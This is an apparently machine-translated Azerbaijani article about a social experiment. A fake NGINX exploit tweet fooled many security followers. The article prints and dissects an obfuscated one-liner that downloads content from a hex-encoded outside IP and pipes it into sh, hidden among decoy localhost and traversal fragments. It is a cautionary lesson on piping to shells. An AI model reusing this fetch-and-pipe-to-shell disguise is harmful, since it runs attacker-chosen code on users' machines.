Nginx üçün saxta istismar ilə sosial təcrübənin uğuru

Qeyd. tərcümə.: Müəllif İyunun 1-də dərc edilmiş orijinal qeyd informasiya təhlükəsizliyi ilə maraqlananlar arasında eksperiment aparmaq qərarına gəlib. Bunun üçün o, veb-serverdə açıqlanmayan boşluq üçün saxta ekspluat hazırlayıb və Twitter-də yerləşdirib. Onun fərziyyələri - kodda açıq-aşkar saxtakarlığı görəcək mütəxəssislər tərəfindən dərhal ifşa olunmaq - nəinki özünü doğrultmadı... Onlar bütün gözləntiləri aşdılar və əks istiqamətdə: tvit çoxlu sayda insan tərəfindən böyük dəstək aldı, lakin bunu etməyən onun məzmununu yoxlayın.

Nginx üçün saxta istismar ilə sosial təcrübənin uğuru

TL; DR: Heç bir halda sh və ya bash-da fayl kəmərini istifadə etməyin. Bu, kompüterinizə nəzarəti itirmək üçün əla bir yoldur.

Mən sizinlə 31 Mayda yaradılmış komik PoC istismarı haqqında qısa hekayəni bölüşmək istəyirəm. O, gələn xəbərlərə dərhal cavab verdi Alisa Esage Şevçenko, üzv Sıfır Gün Təşəbbüsü (ZDI), NGINX-də RCE (uzaqdan kodun icrası) ilə nəticələnən boşluq haqqında məlumatın tezliklə açıqlanacağını bildirir. NGINX bir çox veb-saytlara güc verdiyindən, xəbərlər bomba olmalı idi. Lakin "məsuliyyətli açıqlama" prosesindəki gecikmələr səbəbindən baş verənlərin təfərrüatları məlum deyildi - bu standart ZDI prosedurudur.

Nginx üçün saxta istismar ilə sosial təcrübənin uğuru
Tvit NGINX-də zəifliyin aşkarlanması haqqında

Curl-da yeni çaşqınlıq texnikası üzərində işi bitirdikdən sonra orijinal tvitdən sitat gətirdim və aşkar edilmiş zəiflikdən istifadə etdiyi güman edilən bir kod sətirindən ibarət “işləyən PoC-ni sızdırdım”. Təbii ki, bu tamamilə cəfəngiyyat idi. Dərhal ifşa olunacağımı və ən yaxşı halda bir neçə retweet alacağımı güman edirdim (yaxşı).

Nginx üçün saxta istismar ilə sosial təcrübənin uğuru
Tvit saxta istismar ilə

Ancaq bundan sonra nə baş verdiyini təsəvvür edə bilmədim. Tvitimin populyarlığı fırladı. Təəccüblüdür ki, hazırda (15 iyun Moskva vaxtı ilə 00:1) az adam bunun saxta olduğunu başa düşüb. Bir çox insan onu heç yoxlamadan retweet edir (çıxdığı gözəl ASCII qrafikasına heyran qalmağı bir yana qoyaq).

Nginx üçün saxta istismar ilə sosial təcrübənin uğuru
Görün necə gözəldir!

Bütün bu döngələr və rənglər əla olsa da, aydındır ki, insanlar onları görmək üçün maşınlarında kod işlətməli idilər. Xoşbəxtlikdən, brauzerlər eyni şəkildə işləyir və həqiqətən hüquqi problemə düşmək istəmədiyim faktla birlikdə, saytımda basdırılmış kod hər hansı əlavə kodu quraşdırmaq və ya icra etməyə çalışmadan sadəcə əks-səda zəngləri edirdi.

Kiçik sapma: netspooky, dnz, mən və komandadakı digər uşaqlar Thugcrowd Artıq bir müddətdir ki, curl əmrlərini gizlətmək üçün müxtəlif üsullarla oynayırıq, çünki bu, çox gözəldir... və biz cazibədarıq. netspooky və dnz mənə çox perspektivli görünən bir neçə yeni üsul kəşf etdi. Mən əyləncəyə qoşuldum və fəndlər çantasına IP decimal dönüşümlərini əlavə etməyə çalışdım. Məlum oldu ki, IP də onaltılıq formata çevrilə bilər. Üstəlik, curl və digər NIX alətlərinin əksəriyyəti onaltılıq IP-ləri məmnuniyyətlə yeyir! Beləliklə, sadəcə inandırıcı və təhlükəsiz görünən bir komanda xətti yaratmaq məsələsi idi. Nəhayət, buna qərar verdim:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Sosial-elektron mühəndislik (SEE) - yalnız fişinqdən daha çox

Təhlükəsizlik və tanışlıq bu təcrübənin əsas hissəsi idi. Düşünürəm ki, onlar onun uğurlarına səbəb olub. Komanda xətti açıq şəkildə "127.0.0.1" (məşhur localhost) istinad edərək təhlükəsizliyi nəzərdə tuturdu. Localhost təhlükəsiz sayılır və ondakı məlumatlar heç vaxt kompüterinizi tərk etmir.

Tanışlıq təcrübənin ikinci əsas SEE komponenti idi. Hədəf auditoriyası ilk növbədə kompüter təhlükəsizliyinin əsasları ilə tanış olan insanlardan ibarət olduğundan, onun hissələrinin tanış və tanış (və buna görə də təhlükəsiz) görünməsi üçün kod yaratmaq vacib idi. Köhnə istismar konsepsiyalarının elementlərini götürmək və onları qeyri-adi şəkildə birləşdirmək çox uğurlu olduğunu sübut etdi.

Aşağıda bir laynerin ətraflı təhlili verilmişdir. Bu siyahıdakı hər şey köhnəlir kosmetik təbiət, və onun faktiki işləməsi üçün praktiki olaraq heç bir şey tələb olunmur.

Hansı komponentlər həqiqətən lazımdır? Bu -gsS, -O 0x0238f06a, |sh və veb serverin özü. Veb serverdə heç bir zərərli göstəriş yox idi, sadəcə olaraq əmrlərdən istifadə edərək ASCII qrafikasına xidmət edirdi echo daxil olan skriptdə index.html. İstifadəçi ilə bir xətt daxil olduqda |sh ortasında, index.html yüklənmiş və icra edilmişdir. Xoşbəxtlikdən, veb serverin qəyyumlarının heç bir pis niyyəti yox idi.

  • ../../../%00 — kataloqdan kənara çıxmağı təmsil edir;
  • ngx_stream_module.so — təsadüfi NGINX moduluna gedən yol;
  • /bin/sh%00<'protocol:TCP' - guya işə başlayırıq /bin/sh hədəf maşında və çıxışı TCP kanalına yönləndirin;
  • -O 0x0238f06a#PLToffset - əlavə edilmiş gizli tərkib hissəsi #PLToffset, PLT-də olan yaddaş ofseti kimi baxmaq;
  • |sh; - başqa bir vacib fraqment. Bu ünvanda yerləşən hücum edən veb serverdən gələn kodu icra etmək üçün çıxışı sh/bash-a yönləndirmək lazım idi. 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - netcat-in istinad etdiyi dummy /dev/tcp/localhosthər şey yenidən təhlükəsiz görünsün. Əslində, heç bir şey etmir və gözəllik xəttinə daxildir.

Bununla, bir sətirli skriptin dekodlanması və “sosial-elektron mühəndislik” (mürəkkəb fişinq) aspektlərinin müzakirəsi yekunlaşır.

Veb serverinin konfiqurasiyası və əks tədbirlər

Abunəçilərimin böyük əksəriyyəti infosec/hakerlər olduğundan, mən veb serveri onların “maraq” ifadələrinə bir az daha davamlı etmək qərarına gəldim ki, uşaqlar nəsə görsünlər (və bu, əyləncəli olardı). qurmaq). Təcrübə hələ də davam etdiyi üçün burada bütün tələləri sadalamaq fikrində deyiləm, lakin burada serverin etdiyi bir neçə şey var:

  • Müəyyən sosial şəbəkələrdə paylama cəhdlərini aktiv şəkildə izləyir və istifadəçini linki tıklamağa həvəsləndirmək üçün müxtəlif önizləmə miniatürlərini əvəz edir.
  • Qabıq skriptini göstərmək əvəzinə Chrome/Mozilla/Safari/etc-ni Thugcrowd tanıtım videosuna yönləndirir.
  • AÇIQ müdaxilə/açıq-aşkar hakerlik əlamətlərinə baxır və sonra sorğuları NSA serverlərinə yönləndirməyə başlayır (ha!).
  • İstifadəçiləri adi brauzerdən hosta baş çəkən bütün kompüterlərdə troyanı, eləcə də BIOS rootkitini quraşdırır (zarafat edir!).

Nginx üçün saxta istismar ilə sosial təcrübənin uğuru
Antimerlərin kiçik bir hissəsi

Bu halda mənim yeganə məqsədim Apache-nin bəzi xüsusiyyətlərini - xüsusən də sorğuların yönləndirilməsinin gözəl qaydalarını mənimsəmək idi və mən düşündüm: niyə də olmasın?

NGINX Exploit (Real!)

Abunə olun @alisaesage Twitter-də və NGINX-də çox real zəifliklərin və istismar imkanlarının aradan qaldırılmasında ZDI-nin böyük işini izləyin. Onların işi məni həmişə heyran edib və mən Alisəyə axmaq tvitlərimin səbəb olduğu bütün qeydlərə və bildirişlərə səbr göstərdiyinə görə minnətdaram. Xoşbəxtlikdən, o, həm də yaxşılıq etdi: NGINX zəiflikləri, eləcə də curl-dan sui-istifadə nəticəsində yaranan problemlər haqqında məlumatlılığın artırılmasına kömək etdi.

Mənbə: www.habr.com

Добавить комментарий